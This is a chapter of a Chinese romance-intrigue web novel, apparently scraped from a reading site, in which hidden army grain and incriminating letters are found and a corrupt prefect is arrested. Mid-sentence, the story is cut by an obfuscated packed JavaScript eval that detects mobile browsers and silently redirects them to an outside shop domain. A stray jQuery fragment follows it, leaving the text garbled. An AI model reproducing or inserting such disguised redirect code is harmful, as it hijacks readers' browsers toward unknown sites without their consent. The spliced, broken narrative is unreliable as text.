狗洞后面是一处杂草丛生的小院子。
杜书雅面不改色道:“自从我爹的三姨娘在这里病逝后,这里就再也没有人踏足过。”
“听下人说,每到三更,这里便会传来女子的哭声,那声音像极了三姨娘生前的声音,府里的人都说是三姨娘生前执念太深,不愿离去,徘徊在此,我却不信。”
她胆子大,越是不让她去的地方,她越是要去探个究竟,这院子里的一草一木,她了若指掌。
院子不大,几个房间都上了锁,杜书雅走到其中一个房间面前,掏出铁丝,不过瞬息,她便将门锁打开。
苏芸挑眉:“你竟还有这一手?”
杜书雅矜傲地瞥了苏芸一眼。
她是谁?她可是杜家大小姐!就没有她去不了的地方,没有她做不成的事情。
杜书雅刚打开门锁,便听见不远处传来下人们的呼喊声:“来人啊,大小姐不见了,快找大小姐!”
管家的声音随之响起:“将这府中都搜仔细了!千万不能让大小姐跑了!”
杜书雅心头一沉:“快,速战速决。”
她了解她爹,她房间里的暗道通向府外,她爹不去外面找人,反而大张旗鼓地在府里找她,只有一种可能,他知道她还在府里,他在警告她,不要轻举妄动。
她爹很快就会找到这里。
杜书雅快步走进房间,反手将门锁死。
这是一间狭小的杂物间,若按杜书雅所说,这里应该很久没有人来过了,但古乐芙发现,这些杂物上面的灰尘并不算厚。
这里经常有人来,或者,至少近期有人来过。
杜书雅一边挪动杂物一边低声道:“快,帮我将这些东西挪开。”
三人立刻动起手,转瞬将眼前的杂物清理干净,杜书雅走到房间右边,找到一块砖,轻轻一按,地面陡然下陷,露出一条向下的通道。
杜书雅催促道:“快走。”
通道下面是一间十分宽敞的石室,失踪的粮草竟全都在里面,满满当当堆满了石室每一个角落。
苏芸不禁咋舌:“你爹胆子可真大啊,连粮草都敢动。”
古乐芙小脸微沉:“这些粮草,是边关将士一个月的口粮。”
边关苦寒,粮食不算富足,这些年来,边关将士和百姓虽然能在她爹爹的带领下自给自足,但是想要过上顿顿饱饭的好日子,还得靠朝廷接济,可这些人,居然将这些粮草占为己有,还倒打一耙,诬陷爹爹,实在让人心寒。
杜书雅知道她爹做得不对,她没说话,走到墙边摸索了一番,从石墙背后取出一个小盒子。
杜书雅将盒子打开,古乐芙和苏芸也围上去看。
那是一叠书信,杜书雅突然有点不敢看,她深吸一口气,将书信交给古乐芙:“你看一下,这些东西若是证据,你拿了就走,这里有条暗道通向城外,你顺着暗道往外走,一直走到尽头,别回头。”
古乐芙没说话,她打开书信匆匆扫了几眼,心微微沉了下去。
她原本以为杜荣背后的人是户部尚书何昆,可如今看来,何昆也不过是马前卒。
古乐芙将盒子紧紧抱在怀里,低声道:“我们走吧。”
苏芸看向杜书雅:“你呢?”
杜书雅平静道:“他毕竟是我爹,不会对我怎么样的,你们快走吧。”
苏芸不再犹豫,拉着古乐芙就要往通道深处走。
杜书雅看着她们远去的背影,轻轻松了口气。
可没多久,两人却去而复返。
杜书雅蹙眉道:“不是让你们赶紧走?你们还回来做什么?”
古乐芙叹气:“杜小姐,不是我们不想走。”
“滴答滴答”。前方忽然传来脚步声,杜书雅朝暗道的方向看去,只见杜荣正带着一群侍卫慢慢从暗道深处走出来,他看向杜书雅,眼里满是失望:“雅儿,你是为父最疼爱的孩子,从小到大,你想要什么为父便给你什么,从未让你吃过半分苦,为父从未亏待过你,可为父万万没想到,背叛为父的人,居然是你!”
杜书雅沉默片刻:“爹,我不是背叛你,我是在救杜家。”
杜荣冷笑道:“救杜家?你这是在让杜家万劫不复!”
杜书雅反唇相讥:“爹才是在让杜家万劫不复!”
“爹,你醒醒吧!这是粮草!多少双眼睛在盯着粮草,陛下的人已经知道粮草在我们手上了,爹你以为凭你一己之力真的兜得住吗?”
她顿了顿:“还是说,爹认为爹背后的人会保你?”
杜荣气得胸膛急剧起伏,他高声道:“只要他们没有证据,没人能将我们怎么样!你知不知道,一旦这批粮草交出去,我们杜家就彻底完了!”
杜书雅沉默片刻,轻声道:“爹,从你碰粮草的那一刻起,我们杜家就已经完了。”
“我那是身不由己!”杜荣怒道,“你以为我是怎么坐稳乌州知府这个位置的?若朝堂没人,我早就不知道被贬到何处了!若不替人办事,如何换来庇护?!”
“可这是抄家灭族的大罪!”杜书雅摇头道,“爹你真的要整个杜家为你陪葬吗?”
杜荣气得胡子都上扬了:“来人!将小姐抓回去,关起来!”
“至于她们两个,抓住,直接打死!”
杜荣看向苏芸,冷声道:“我放了你一次,你还不知足,非要送上门来找死,那你们就都死在这里吧!”
杜书雅急了,她挡在古乐芙和苏芸面前:“你们敢!”
杜荣沉声道:“将大小姐拉开!”
侍卫们纷纷上前,古乐芙不动声色地掏荷包,苏芸瞧见她的动作,微微动了动身子,替她遮掩。
千钧一发之际,侍卫突然匆匆来报:“大人!有人闯进来了!”
话音落下,谢仁带着几十个黑衣人从杜府的暗道冲了进来,将所有人团团围住。
杜府的侍卫在这群不速之客面前,毫无抵挡之力。
古乐芙顿了顿,默默将荷包里的东西塞了回去。
那是她保命的东西,能不用最好。
杜荣脸色灰败:“你、你们……”
嵇青林从黑衣人后面走出来,淡声道:“全都抓起来。”
杜荣还想挣扎:“你们是谁,你们凭什么抓我!”
谢仁拿出一块令牌,给他扫了一眼便匆匆收了起来,冷声道:“带走。”
杜荣看清令牌上的字,脸色大变,他自知大势已去,想到杜家的下场,再也撑不住瘫软在地。
杜荣和他的一干侍卫被黑衣人带走了,杜书雅也跟着一起离开了。
石室里很快只剩下古乐芙和苏芸,苏芸看了看嵇青林,又看了看古乐芙,突然道:“哎呀,我相公还在等我呢,我得先回去了,小阿满,下次见。”
苏芸一走,石室更安静了。
古乐芙心虚得紧,左看右看就是不敢看嵇青林。
嵇青林慢慢开口:“阿满。”
古乐芙低声道:“我在。”
嵇青林轻声道:“阿满骗我,阿满不听话。”
“我、我不是故意骗你的。”古乐芙紧张得不行,开始胡编乱造,“我今夜本来是要和芸姐姐庆祝的,只是庆祝到一半,芸姐姐说杜小姐被关起来了,我担心杜小姐,就想着来看杜小姐一眼。”
嵇青林挑眉:“来这里看杜小姐?”
古乐芙的声音低了下去:“我一见到杜小姐,杜小姐就说要带我找证据,证据都要摆到我面前了,我怎么能不来?”
她献宝似的拿出小盒子:“这些是杜知府通信的证据。”
“嗯,交给我吧。”
古乐芙疑惑:“交给你?”
嵇青林害怕吓到她,没有将自己的身份和盘托出,他含糊不清道:“嗯,我在朝中有认识的人,我可以让他帮忙将证据递上去。”
古乐芙想了想,将证据给他了。
爹爹远在边关,鞭长莫及,她在京城也没有认识的人,若青青在朝中有人,将证据交给青青最是妥当不过。
古乐芙嘱咐道:“青青一定要证明古将军的清白。”
“放心,他是你的救命之恩,便等同于我的救命恩人,我一定将证据交上去,让全天下的人都知道古将军是清白的。”
古乐芙笑了:“嗯,我相信青青。”
嵇青林忍不住捏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886454|212558||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了捏古乐芙的腮帮子,如此看来,回京后,他得亲自将此事盯上一盯了。
透过白布,嵇青林垂眸看向古乐芙,目光温柔,只是不知,阿满愿不愿意和他回家。
嵇青林眼睛不便,谢仁又已经先一步离开,古乐芙只好扶着嵇青林,小心翼翼地走上台阶:“青青小心些,此处有五六七八九,九级台阶。”
两人慢慢爬出暗道,快到暗道口时,古乐芙伸手护住嵇青林的脑袋:“这里有点矮,青青低头。”
嵇青林从善如流地低头。
古乐芙随口问道:“青青的眼疾什么时候能治好?”
嵇青林动作一顿,轻声道:“阿满不想照顾我了吗?”
古乐芙立刻道:“怎么会?”
嵇青林又问:“如果我治好了眼疾,你还会留在我身边照顾我吗?”
古乐芙眼神闪躲:“会、会的。”
嵇青林叹气:“阿满又骗我。”
他说:“你果然还是喜欢我有眼疾的样子。”
古乐芙:“……”
她涨红了脸:“我没有,我只是问问。”
嵇青林轻声道:“是吗?”
生怕他再追问,古乐芙顾左右而言他道:“青青怎么会出现在这里?”
嵇青林顿了顿,轻声道:“我是来救你的啊。”
“救我?”古乐芙茫然道,“你怎么知道我在这里?”
嵇青林面不改色道:“一定是因为我与阿满心有灵犀。”
古乐芙当然不信,她偏头看他,俏声道:“我知道了,是不是翟账房告诉你的?”
嵇青林没有说是也没有说不是,他只是将声音放低,带着几分挑逗人的委屈:“阿满不信我与你心有灵犀?”
古乐芙大惊失色:“这怎么能信?”
她说:“我又不是傻子。”
嵇青林眼里带上笑意:“嗯,阿满不是傻子。”
-
古乐芙后来听说,杜荣被押送回京审问,杜家与粮草一案无关之人都得以保全,只是被没收家产,赶出了杜府。
看在杜书雅的面子上,苏芸给杜家人置办了一座宅子,不大,足够杜家上下十三口人居住。
没了杜荣这个顶梁柱,杜书雅不得不出来挣钱,苏芸让她去学管账,还将部分产业交给了她管理。
杜家败落后,从前围着杜书雅转的那些男子,也一夜之间跑得干干净净。
杜书雅这个傲了一辈子的女子,也开始学着像个生意人一般,见人说人话,见鬼说鬼话,不过短短半月便脱胎换骨。
苏芸挑眉道:“挣钱嘛,不磕碜,她悟性不错,说不定再过几年啊,她都能比我强了。”
杜书雅闻言白了她一眼:“不用过几年,过几个月我便能比你强。”
古乐芙双手托着下巴问:“杜小姐,你们家里这么多人,为何只有你一人出来挣钱?”
杜书雅撇了撇嘴:“指望他们?全家都得饿死。”
苏芸慢悠悠道:“小乐芙有所不知,杜府如今上下一共十三人,其中一位老太太,三位姨老太太,五位姨娘,三个不满十六岁的小孩,一个十三,一个七岁,还有一个,上月刚满一岁。”
原来纳妾是杜家家族传承。
古乐芙眨眨眼:“老人和小孩不算,中间不是还有五位姨娘吗?”
杜书雅冷笑一声:“她们?我爹在时她们便整日只知争风吃醋,连个盘子都端不好的人,能指望她们做什么?”
若不是年老色衰,那些姨娘恐怕早在收到她爹被抓的消息便与情郎私奔了。
她那位六姨娘不就是如此吗?
古乐芙声音温和,语气平静自然:“不会就学啊,什么都不会又不愿学的人,若是在边关,就只有等死一条路,边关不养懒人。”
“她们好手好脚,你都能做的事,她们为何不能做?”
苏芸和杜书雅对视一眼,杜书雅笑了声:“说得对,我杜家也不养懒汉。”
“我明日便让她们出来挣钱,哪怕当个绣娘也行,若是不愿意……”她冷笑一声,“那就通通给我滚出杜家。”
她早就看那群人不顺眼了。